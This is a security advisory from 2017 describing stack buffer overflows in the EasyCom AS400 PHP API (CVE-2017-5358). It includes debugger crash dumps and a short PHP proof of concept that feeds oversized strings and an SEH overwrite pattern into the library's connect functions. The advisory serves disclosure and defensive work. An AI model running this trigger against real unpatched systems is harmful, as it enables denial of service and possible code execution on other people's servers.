EasyCom AS400 PHP API Buffer Overflow
Posted on 24 February 2017
[+] Credits: John Page AKA Hyp3rlinX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFLOW.txt [+] ISR: ApparitionSec Vendor: ================ easycom-aura.com Product: =========================== EASYCOM AS400 (iBMI) PHP API EasycomPHP_4.0029.iC8im2.exe EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in Windows, Linux, and IBMi. EasyCom tested here requires older version of PHP. Setup test environment: Windows 7 XAMPP 1.7.3 PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.3.0 PHP compiled module API=20090626 (need to use for EasyCom IBM DLL) Vulnerability Type: ========================= API Stack Buffer Overflow CVE Reference: ============== CVE-2017-5358 Security Issue: ================ EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system. Below I provide some proof of concept details for a few of them. EAX 00000000 ECX 41414141 EDX 771D6ACD ntdll.771D6ACD EBX 00000000 ESP 00C0F238 EBP 00C0F258 ESI 00000000 EDI 00000000 EIP 41414141 C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 1 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE) SEH chain of main thread Address SE handler 00C0F354 kernel32.7600410E 00C0FF78 42424242 52525252 *** CORRUPT ENTRY *** WinDbg dump... (720.a70): Access violation - code c0000005 (first/second chance not available) *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll - eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000 eip=41414141 esp=004111e8 ebp=00411208 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !load winext/msec 0:000> !exploitable !exploitable 1.6.0.0 Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141 called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411) User mode DEP access violations are exploitable. PHP Crash: ============= Problem signature: Problem Event Name: BEX Application Name: php.exe Application Version: 5.3.1.0 Application Timestamp: 4b06c430 Fault Module Name: StackHash_e98d Fault Module Version: 0.0.0.0 Fault Module Timestamp: 00000000 Exception Offset: 41414141 Exception Code: c0000005 Exception Data: 00000008 OS Version: 6.1.7601.2.1.0.256.48 Exploit/POC: =============== php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I'm bored goin to the park. <?php /* Basic connection to an AS400 iBMI System */ $payload=str_repeat("A", 4000); #BOOM! $payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("x90",100); #SEH $conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg()); #VULN $conn = i5_pconnect($payload, 'QSECOFR', 'password', array() ); #VULN $conn = i5_private_connect($payload, $user, $password, array()); #VULN echo 'EasyCom PHP API 0day ' . $conn; ?> Network Access: =============== Remote Severity: ========== High Disclosure Timeline: ====================================== Vendor Notification: December 22, 2016 Vendor acknowledgement: December 23, 2016 Vendor Release Fix/Version February 20, 2017 February 22, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Hyp3rlinX
